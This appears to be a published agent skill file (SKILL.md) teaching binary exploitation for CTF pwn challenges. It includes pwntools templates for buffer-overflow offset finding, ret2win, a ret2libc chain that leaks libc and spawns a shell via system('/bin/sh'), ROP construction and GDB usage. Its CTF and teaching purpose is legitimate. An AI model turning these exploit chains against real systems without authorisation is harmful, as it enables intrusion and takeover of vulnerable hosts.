pwn-exploits
SKILL.md
Binary Exploitation Patterns
When to Use
Load this skill when:
- Solving binary exploitation (pwn) CTF challenges
- Working with buffer overflows and stack-based vulnerabilities
- Building ROP (Return-Oriented Programming) chains
- Writing shellcode or exploits
- Using pwntools for exploitation
- Analyzing binaries with GDB, checksec, or strings
Binary Analysis Workflow
Step 1: Static Analysis First
Always begin with static analysis before dynamic exploitation.
# Search for interesting strings
strings ./vuln | grep -iE "flag|password|key|secret|admin"
# Check binary protections
checksec ./vuln
# Examine file type and architecture
file ./vuln
Why? Static analysis reveals:
- Hidden functionality and backdoor functions
- Hardcoded credentials or flags
- Security mitigations (PIE, NX, Stack Canary, RELRO)
- Architecture (32-bit vs 64-bit, calling conventions)
Step 2: Decompile with Ghidra/IDA
# Batch decompile with Ghidra headless mode (RECOMMENDED)
./ghidra_headless/decompile_headless.sh ./vuln output.c
# Or use Python wrapper (legacy)
python tools/decompile.py ./vuln
# Or manually open in Ghidra GUI
ghidra
Key things to look for:
- Dangerous functions:
gets(),strcpy(),scanf(),read()with no bounds - Win functions:
system("/bin/sh"),execve(),print_flag() - Buffer sizes vs input sizes
- Comparison operations (password checks, admin checks)
Protection Analysis Table
| Protection | Status | Exploitation Strategy |
|---|---|---|
| PIE | Enabled | Need address leak for code/data addresses |
| PIE | Disabled | Can use hardcoded addresses directly |
| NX | Enabled | Cannot execute shellcode on stack, use ROP |
| NX | Disabled | Can write shellcode to buffer and execute |
| Stack Canary | Enabled | Need canary leak or bypass technique |
| Stack Canary | Disabled | Direct buffer overflow exploitation |
| RELRO Full | Enabled | Cannot overwrite GOT entries |
| RELRO Partial | Enabled | Can overwrite GOT for hijacking |
Exploitation Patterns
Pattern 1: Find Buffer Overflow Offset
from pwn import *
# Generate cyclic pattern
io = process('./vuln')
payload = cyclic(500)
io.sendline(payload)
io.wait()
# After crash, examine core dump or GDB
# Find the offset where control is hijacked
core = Coredump('./core')
offset = cyclic_find(core.read(core.rsp, 4)) # x86_64
# or
offset = cyclic_find(core.read(core.eip, 4)) # x86
log.info(f"Offset: {offset}")
Alternative: Manual offset finding
# Use offset_finder.py from tools/
# python tools/offset_finder.py ./vuln
Pattern 2: Basic ret2win (Call Win Function)
from pwn import *
exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = "debug"
# Find win function address
win_addr = elf.symbols['win'] # or elf.symbols['print_flag']
# Build payload
payload = flat({
offset: [
win_addr
]
})
io = process(exe)
io.sendline(payload)
io.interactive()
Pattern 3: ret2libc (Leak + System)
Stage 1: Leak libc address
from pwn import *
exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
libc = ELF("./libc.so.6") # or ELF("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP(elf)
# Build ROP chain to leak puts@GOT
payload = flat({
offset: [
rop.find_gadget(['pop rdi', 'ret'])[0],
elf.got['puts'],
elf.plt['puts'],
elf.symbols['main'] # Return to main for second exploit
]
})
io = process(exe)
io.sendline(payload)
io.recvuntil(b"expected_output")
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
log.info(f"Leaked puts@GOT: {hex(leak)}")
# Calculate libc base
libc.address = leak - libc.symbols['puts']
log.success(f"Libc base: {hex(libc.address)}")
Stage 2: Call system("/bin/sh")
# Find /bin/sh string in libc
bin_sh = next(libc.search(b'/bin/sh\x00'))
# Build final ROP chain
payload2 = flat({
offset: [
rop.find_gadget(['ret'])[0], # Stack alignment (required for movaps)
rop.find_gadget(['pop rdi', 'ret'])[0],
bin_sh,
libc.symbols['system']
]
})
io.sendline(payload2)
io.interactive()
Pattern 4: Auto-Switch Start Function
Use this template for all pwn scripts:
from pwn import *
exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
def start(argv=[], *a, **kw):
"""Start the exploit in different modes"""
if args.GDB:
gdbscript = """
b *main
continue
"""
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], int(sys.argv[2]), *a, **kw)
else:
return process([exe] + argv, *a, **kw)
# Usage:
# python solve.py # Local process
# python solve.py GDB # Debug with GDB
# python solve.py REMOTE IP PORT # Remote connection
Pattern 5: ROP Chain Construction
from pwn import *
elf = ELF("./vuln")
rop = ROP(elf)
# Method 1: Automatic ROP chain
rop.call('puts', [elf.got['puts']])
rop.call('main')
# Method 2: Manual gadget selection
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
payload = flat({
offset: [
ret, # Stack alignment
pop_rdi,
elf.got['puts'],
elf.plt['puts'],
elf.symbols['main']
]
})
Quick Reference
Pwntools Essential Commands
| Task | Command |
|---|---|
| Generate cyclic pattern | cyclic(500) |
| Find offset from crash | cyclic_find(b'caaa') or cyclic_find(0x61616161) |
| Pack 64-bit integer | p64(0x401000) |
| Pack 32-bit integer | p32(0x08048000) |
| Unpack 64-bit bytes | u64(data.ljust(8, b'\x00')) |
| Unpack 32-bit bytes | u32(data.ljust(4, b'\x00')) |
| Launch with GDB | gdb.debug([exe], gdbscript=script) |
| Connect remote | remote(host, port) |
| Local process | process([exe]) |
| Build structured payload | flat({offset: [gadget1, gadget2]}) |
| Find ROP gadgets | rop.find_gadget(['pop rdi', 'ret']) |
| Search bytes in binary | next(elf.search(b'/bin/sh')) |
Common ROP Gadgets (x86_64)
# System call setup
pop_rdi = 0x400123 # pop rdi; ret (1st argument)
pop_rsi = 0x400456 # pop rsi; ret (2nd argument)
pop_rdx = 0x400789 # pop rdx; ret (3rd argument)
pop_rax = 0x400abc # pop rax; ret (syscall number)
# Stack alignment (REQUIRED for recent libc)
ret = 0x400001 # ret
# Useful symbols
bin_sh = next(elf.search(b'/bin/sh\x00'))
system = elf.symbols['system'] # or libc.symbols['system']
GDB Essential Commands
# Pwndbg commands
checksec # Check binary protections
vmmap # Memory mapping
telescope $rsp 20 # Stack view
cyclic 200 # Generate pattern
cyclic -l 0x61616161 # Find offset
rop # Search ROP gadgets
rop --grep "pop rdi" # Filter gadgets
got # GOT entries
plt # PLT entries
# Standard GDB
b *main # Breakpoint at address
b *0x401234
x/20gx $rsp # Examine stack (64-bit)
x/20wx $esp # Examine stack (32-bit)
x/20i $rip # Disassemble
info registers # Register values
set $rax = 0 # Modify register
CTF-Specific Tips
Extract Flags Automatically
import re
def extract_flag(data):
"""Extract common CTF flag formats"""
patterns = [
r'flag\{[^}]+\}',
r'FLAG\{[^}]+\}',
r'CTF\{[^}]+\}',
r'picoCTF\{[^}]+\}',
r'HTB\{[^}]+\}',
r'[a-zA-Z0-9_]+\{[a-zA-Z0-9_@!?-]+\}',
]
text = data if isinstance(data, str) else data.decode('latin-1')
for pattern in patterns:
match = re.search(pattern, text)
if match:
return match.group(0)
return None
# Usage
io.recvuntil(b"output")
data = io.recvall()
flag = extract_flag(data)
if flag:
log.success(f"Flag: {flag}")
One-Gadget Usage
# Find one-gadgets in libc (requires one_gadget gem)
one_gadget libc.so.6
# Use in exploit
one_gadget = libc.address + 0x4f3d5 # Offset from one_gadget output
payload = flat({offset: one_gadget})
Anti-Patterns (Avoid These)
❌ Don't: Skip Static Analysis
# BAD: Jumping straight to buffer overflow without understanding the binary
offset = 72 # Guessed
payload = b'A' * offset + p64(0xdeadbeef)
Why it's bad: You might miss:
- Easier solutions (hardcoded flags, win functions)
- Critical constraints (length checks, character filters)
- Security mitigations that require different approaches
❌ Don't: Hardcode Addresses with PIE/ASLR
# BAD: Hardcoded libc addresses
system_addr = 0x7ffff7a52290 # This won't work with ASLR
# GOOD: Calculate from leak
libc.address = leak - libc.symbols['puts']
system_addr = libc.symbols['system']
❌ Don't: Forget Stack Alignment
# BAD: Direct call to system() may crash
payload = flat({offset: [pop_rdi, bin_sh, system]})
# GOOD: Add 'ret' gadget for alignment (movaps requirement)
payload = flat({offset: [ret, pop_rdi, bin_sh, system]})
❌ Don't: Ignore Error Messages
# BAD: Blindly sending payload without checking responses
io.sendline(payload)
io.interactive()
# GOOD: Check for errors and debug
io.sendline(payload)
response = io.recvuntil(b"expected", timeout=2)
if b"error" in response or b"invalid" in response:
log.error("Exploit failed, check payload")
exit(1)
io.interactive()
Bundled Resources
Templates
All templates use the auto-switch start function for easy testing:
templates/pwn_basic.py- Basic buffer overflow templatetemplates/pwn_rop.py- ROP chain + ret2libc templatetemplates/angr_template.py- Symbolic execution with angr
Tools
Helper scripts for common tasks:
tools/checksec_quick.sh- Quick security check wrappertools/offset_finder.py- Automated offset calculationtools/leak_parser.py- Parse and format address leakstools/libc_lookup.py- Identify libc version from leakstools/rop_chain_skeleton.py- Generate ROP chain templatestools/patch_ld_preload.sh- Patch binary to use specific libc
Ghidra Headless Decompilation
ghidra_headless/- Automated decompilation without GUIghidra_headless/decompile_headless.sh- Wrapper script for batch decompilationghidra_headless/DecompileCLI.java- Ghidra Java script for headless operationghidra_headless/README.md- Detailed usage and troubleshooting guide
Gadget Finders
gadgets/find_gadgets_ropgadget.sh- ROPgadget wrappergadgets/find_gadgets_ropper.sh- Ropper wrappergadgets/find_gadgets_rpplus.sh- rp++ wrappergadgets/one_gadget_notes.md- One-gadget usage guide
Quick References
references/quickref_gadgets.md- Common ROP gadgets referencereferences/quickref_gdb.md- GDB command cheatsheetreferences/gdb_cheatsheet.md- Detailed GDB guidereferences/ret2libc_checklist.md- Step-by-step ret2libc guidereferences/usage_guide.md- Tool usage instructions
GDB Configuration
gdb_init/- GDB initialization scripts for pwndbg, GEF, peda
Keywords
pwn, binary exploitation, buffer overflow, stack overflow, ROP, ROP chain, return-oriented programming, shellcode, pwntools, CTF, checksec, cyclic, gadgets, GOT, PLT, libc leak, ret2libc, ret2win, format string, GDB, pwndbg, reverse engineering, binary analysis, exploit development
Weekly Installs
10
Repository
g36maid/ctf-arsenalGitHub Stars
4
First Seen
Feb 9, 2026
Security Audits
Installed on
gemini-cli10
github-copilot10
codex10
kimi-cli10
amp10
cursor10